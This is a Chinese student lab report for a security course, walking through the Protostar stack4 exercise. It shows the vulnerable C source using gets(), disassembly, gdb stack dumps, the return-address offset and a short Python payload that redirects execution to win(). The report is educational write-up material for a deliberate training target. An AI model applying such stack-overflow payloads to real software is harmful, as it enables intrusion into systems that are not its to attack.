上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Stack4

学号：522031910439　姓名：梁俊轩

2025 年 3 月 19 日

1　代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 stack4 的 C 语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}
```

分别对 win() 和 main() 进行反编译：

```
Dump of assembler code for function win:
0x080483f4 <win+0>:push   ebp
0x080483f5 <win+1>:mov    ebp,esp
0x080483f7 <win+3>:sub    esp,0x18
0x080483fa <win+6>:mov    DWORD PTR [esp],0x80484e0
0x08048401 <win+13>:call   0x804832c <puts@plt>
0x08048406 <win+18>:leave
0x08048407 <win+19>:ret
End of assembler dump.

Dump of assembler code for function main:
0x08048408 <main+0>:push   ebp
0x08048409 <main+1>:mov    ebp,esp
0x0804840b <main+3>:and    esp,0xfffffff0
0x0804840e <main+6>:sub    esp,0x50
0x08048411 <main+9>:lea    eax,[esp+0x10]
0x08048415 <main+13>:mov    DWORD PTR [esp],eax
0x08048418 <main+16>:call   0x804830c <gets@plt>
0x0804841d <main+21>:leave
0x0804841e <main+22>:ret
```

```
End of assembler dump.
```

2 漏洞分析

C 语言程序中有一个 win 函数，但 main 函数里并没有直接调用。main 函数中有 buffer 一个变量，在通过 gets 函数获取用户输入赋值给 buffer 变量之后，函数就执行结束了，因此我们需要让溢出部分改变函数执行后的返回地址，使得程序跳转到 win 函数。

首先通过 print win 来找到 win 函数的地址，为 0x80483f4：

```
(gdb) print win
$1 = {void (void)} 0x80483f4 <win>
```

图 1 找到 win 函数地址

buffer 数组的起始地址在 [esp+0x10]，大小为 0x40，再往下则是因为对齐所产生的 8 个字节，接着是上一个栈帧的 ebp 值，最后是 main 函数的返回地址，因此需要修改的正是 [esp+0x58] 到 [esp+0x5F] 的值，替换成 0x80483f4，使得可以跳转到 win()。

首先构造一个文本来简单测试一下，将”AAAA BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIII JJJJ KKKK LLLL MMMM NNNN OOOO PPPP QQQQ RRRR SSSS TTTT UUUU VVVV WWWW XXXX YYYY ZZZZ” 作为输入来执行程序，将断点打在 0x0804841d 和 0x0804841e 观察变化：

```
(gdb) r < exp.txt
Starting program: /opt/protostar/bin/stack4 < exp.txt

Breakpoint 1, main (argc=1431655765, argv=0x56565656) at stack4/stack4.c:16
16      stack4/stack4.c: No such file or directory.
        in stack4/stack4.c
(gdb) x /48wx $esp
0xbffffc70:     0xbffffc80      0xb7ec6165      0xbffffc88      0xb7eada75
0xbffffc80:     0x41414141      0x42424242      0x43434343      0x44444444
0xbffffc90:     0x45454545      0x46464646      0x47474747      0x48484848
0xbffffca0:     0x49494949      0x4a4a4a4a      0x4b4b4b4b      0x4c4c4c4c
0xbffffcb0:     0x4d4d4d4d      0x4e4e4e4e      0x4f4f4f4f      0x50505050
0xbffffcc0:     0x51515151      0x52525252      0x53535353      0x54545454
0xbffffcd0:     0x55555555      0x56565656      0x57575757      0x58585858
0xbffffce0:     0x59595959      0x5a5a5a5a      0xb7ffef00      0x0804824b
0xbffffcf0:     0x00000001      0xbffffd30      0xb7ff0626      0xb7fffab0
0xbffffd00:     0xb7fe1b28      0xb7fd7ff4      0x00000000      0x00000000
0xbffffd10:     0xbffffd48      0xb9b5c3ef      0x93f415ff      0x00000000
0xbffffd20:     0x00000000      0x00000000      0x00000001      0x08048340
(gdb) c
Continuing.

Breakpoint 2, 0x0804841e in main (argc=Cannot access memory at address 0x5353535b
) at stack4/stack4.c:16
16      in stack4/stack4.c
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x54545454 in ?? ()
(gdb)
```

图 2 输出结果

在第一个断点时观察 esp 开始 48 个字节的情况，此时 buffer 被成功输入进去，继续执行，之后报告段错误，提示 0x54545454 覆盖了 main 函数返回地址，查阅 ASCII 码之后得知 0x54 对应的就是 T，与前面计算结果相符，正好是 [esp+0x58] 到 [esp+0x5F] 的值。那么接下来要做的就是修改输入，将 win() 函数地址放到输入里:

```
buffer= "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
win = "\xf4\x83\x04\x08"
print buffer + win
```

图 3 输入构造

最后运行程序，成功跳转到 win 函数上：

```
root@protostar:/opt/protostar/bin# ./stack4 < exp.txt
code flow successfully changed
Segmentation fault
```

图 4 最终结果